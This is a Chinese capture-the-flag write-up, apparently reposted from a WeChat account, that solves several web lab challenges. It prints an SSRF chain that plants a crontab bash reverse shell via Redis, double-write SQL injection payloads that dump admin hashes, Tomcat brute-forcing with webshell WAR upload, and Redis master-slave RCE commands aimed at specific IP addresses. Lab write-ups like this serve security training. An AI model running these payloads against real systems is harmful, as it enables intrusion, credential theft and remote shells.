CTF之web基础

admin 2024年11月21日13:15:31评论37 views1字数 6002阅读20分0秒阅读模式

本公众号发布的所有内容,包括但不限于文字、图片、音频、视频、图表、标志、标识、广告、商标、商号、域名、软件、程序等,除特别标明外,均来源于网络或用户投稿,版权归原作者或原出处所有。我们致力于保护原作者版权,若涉及版权问题,请及时联系我们进行处理。
web1

该环境有2台主机,第一台主机访问地址为:x.x.x.x:x(备用地址:x.x.x.x:x),剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.

flag1:在第一台主机的根目录

flag2:在第二台主机的数据库中

flag3:在第二台主机的根目录下

内网范围在:172.18.240.0/24

meetsec1{6d5e5c2bb397ba7727b58df59b35f66a}
meetsec2{2b7cc5b73fe867cc83546583b858c8ab}
meetsec3{f22eec9fb7c498b3a747392ff53a746b}

这道题目和国光大佬的ssrf靶场几乎一样具体见

https://mp.weixin.qq.com/s/-hb2oxkV9-HxjRGt-ydyNg

使用file协议查看根目录的flag

CTF之web基础
image-20241110093418792

看hosts文件内容

CTF之web基础
image-20241110093827805

内网容器IP,用bp收集内网主机,用cluster bomb选中,选中c段和端口,选择ssrf端口字段字典

CTF之web基础
image-20241108213854031

redis未授权漏洞,写入定时任务反弹到vps

这里需要用bp进行传payload,浏览器会乱码

# 清空 key*

dict://172.18.240.7:6379/flushall

*# 设置要操作的路径为定时任务目录*
dict://172.18.240.7:6379/config set dir /var/spool/cron/

*# 在定时任务目录下创建 root 的定时任务文件*
dict://172.18.240.7:6379/config set dbfilename root

*# 写入 Bash 反弹 shell 的 payload*
dict://172.18.240.7:6379/set x "n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/x 0>%261n"

*# 保存上述操作*
dict://172.18.240.7:6379/save
CTF之web基础
image-20241110094656979

dict://172.18.240.7:6379/keys *,看redis数据库都有哪些key

CTF之web基础
image-20241110095026059

get flag拿到第二个

CTF之web基础
image-20241110095049427

web2

该环境有3台主机,第一台主机访问地址为:x.x.x.x:7001(备用地址x.x.x.x:7001),剩余两台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.

flag1:在第一台主机的根目录下

flag2:在第二台主机的数据库中

flag3:在第二台主机的根目录下

flag4:在第三台主机的根目录下

内网范围在:172.16.10.0/24、172.25.20.0/24、172.26.30.0/24

meetsec1{3e942fd37767def3a9f68cf5ee6ebee5}

这个界面基本都是weblogic服务

CTF之web基础
image-20241109101323602

扫目录进入/console/login/LoginForm.jsp

框架工具漏扫

CTF之web基础
image-20241110095702989

cat根目录

CTF之web基础
image-20241110095719887

上哥斯拉webshell

CTF之web基础
image-20241109101751265

网段为172.16.10.0/24和172.25.20.0/24,传fscan扫内网

/tmp >./fscan -h 172.25.20.1/24

start infoscan
(icmp) Target 172.25.20.10    is alive
(icmp) Target 172.25.20.1     is alive
(icmp) Target 172.25.20.12    is alive
[*] Icmp alive hosts len is: 3
172.25.20.1:22 open
172.25.20.12:3306 open
172.25.20.10:7001 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://172.25.20.10:7001  code:404 len:1164   title:Error 404--Not Found
[+] InfoScan http://172.25.20.10:7001  [weblogic] 
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-ssrf 
[+] PocScan http://172.25.20.10:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}]
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2020-14750 
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2729-1 
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2725 v10
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2729-2 
已完成 3/3
[*] 扫描结束,耗时: 27.25788096s

___                              _

  / _      ___  ___ _ __ __ _  ___| | __ 
 / /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______  (__| | | (_| | (__|   <    
____/     |___/___|_|  __,_|___|_|_   
                     fscan version: 1.8.3
/tmp >

内网代理搭建不太熟悉,先放着吧

web3

主机信息: 该环境有2台主机,访问地址为:x.x.x.x:22883、x.x.x.x:13306(备用地址:x.x.x.x:22883、x.x.x.x:13306). flag1:在第一台主机泄漏的信息中 flag2:在第二台主机的数据库内

meetsec1{e20cdd96b8985a3557e5720726bb09a8}
meetsec2{9edbd4b03b5f86a9abe079bc63ea847b}

扫一下是spring框架,看一下env变量文件

CTF之web基础
image-20241110101010037

jdbc连接,数据留在heapdump里面

得到数据库密码为MeetSec@2nd!2022

CTF之web基础
image-20241110111554508

navicat连接

CTF之web基础
image-20241110112219414
CTF之web基础
image-20241110112242999

web5

该环境有1台主机,该主机访问地址为:x.x.x.x:8082(备用地址:x.x.x.x:8082). 该环境有1个FLAG,信息如下:

flag1:在题目主机的根目录下

meetsec1{476e2dceb225678cd466fc3cd2b4c59c}

beescms

CTF之web基础
image-20241110112434640

扫一下看后台位置

CTF之web基础
image-20241110113642162

爆破不是弱密码,手工注入一下

a' and(updatexml(1,(concat(0x7e,(select version()),0x7e)),3))#

select貌似被过滤了

CTF之web基础
image-20241110114120097
'and(updatexml(1,(concat(0x7e,(seselectlect version()),0x7e)),3))#
'
and(updatexml(1,(concat(0x7e,(seselectlect database()),0x7e)),3))#

双写就绕过啦

CTF之web基础
image-20241110114824325
CTF之web基础
image-20241110114241025

有表名和列名了,接下来直接获取

 'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from bees_admin),0x7e)),3))#

from也被过滤了,CTF之web基础

双写from,结果变成''and(updatexml(1,(concat(0x7e,(select admin_name,admin_passwordfrom bees_admin),0x7e)),3))#' limit 0,1

那再添加一个空格

 'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password  from from bees_admin),0x7e)),3))#

显示操作数据库失败Operand should contain 1 column(s)

对select后加上concat

 'and(updatexml(1,(concat(0x7e,(seselectlect concat(admin_name,':',admin_password)  from from bees_admin),0x7e)),3))#
CTF之web基础
image-20241110121409444

出来了账号密码,密码位数不够,用substr截取

 'and(updatexml(1,(concat(0x7e,(seselectlect substr(concat(admin_name,':',admin_password),22)  from from bees_admin limit 0,1),0x7e)),3))#

得到2446d54c2e68d221db9cff653b01a0eb,明文login123

CTF之web基础
image-20241110122349810

登录有文件上传点,content-type绕过

CTF之web基础
image-20241110130940705

哥斯拉上线

CTF之web基础
image-20241110131046493

web6

主机信息: 该环境有1台主机,该主机访问地址为:x.x.x.x:8081(备用地址:x.x.x.x:8081). 该环境有1个FLAG,信息如下:

flag1:在题目主机的根目录下

meetsec1{c7a8d2734ec5a4ed687a9a692ee733f8}

tomcat一般就是弱口令加war包上传

CTF之web基础
image-20241110131329341

在/manager/html界面登录抓包

CTF之web基础
image-20241110132355824
CTF之web基础
image-20241110132429415

爆破选自定义迭代器

CTF之web基础
image-20241110132859912
CTF之web基础
image-20241110132952206
CTF之web基础
image-20241110133000863

取消默认url编码

CTF之web基础
image-20241110133045819

base64编码

CTF之web基础
image-20241110133147075

开始爆破

CTF之web基础
image-20241110133218229

得到tomcat:qwe123

哥斯拉生成jsp马,压缩zip,再修改成war后缀

CTF之web基础
image-20241110140834821

连接cat /flag

CTF之web基础
image-20241110140819216

web7

主机信息: 该环境有1台主机,该主机访问地址为:x.x.x.x:6379(备用地址:x.x.x.x:6379). FLAG信息: 该环境有1个FLAG,信息如下:

flag1:在题目主机的根目录下

meetsec1{672728e3bde3f4cc2b59de572b4df6d6}

拿到题目就是撸,redis无非就是

写入一句话,webshell连接

写入公钥ssh登录

crontab写定时任务,反弹shell

redis主从复制

尝试写入,无权限

CTF之web基础
image-20241109181715841

就剩下主从复制的思路

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 118.195.188.93 -p 6379 -L 149.88.74.59 -f module.so

这个就很神奇,上面脚本是没错的,一次不行就休息两分钟多跑几次,最终能够进入交互界面CTF之web基础

web8

主机信息: 该环境有2台主机,访问地址为:x.x.x.x:8848、x.x.x.x:58080(备用地址:x.x.x.x:8848、x.x.x.x:58080). FLAG信息: 该环境有1个FLAG,信息如下:

flag1:在第二台主机的根目录下

meetsec1{97fde43b8e55cb2e2b26b7c232ea82fa}

拿fscan扫一下

CTF之web基础
image-20241110142014189

访问 /nacos,输入 nacos:nacos就进入后台了

在配置界面就看到了shiro的key,那就放到第二进行跑了

CTF之web基础
image-20241110142344366

脚本小子就是爽

CTF之web基础
image-20241110142450911

总结

原文始发于微信公众号(flowers-boy):CTF之web基础

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:15:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF之web基础http://cn-sec.com/archives/3400891.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息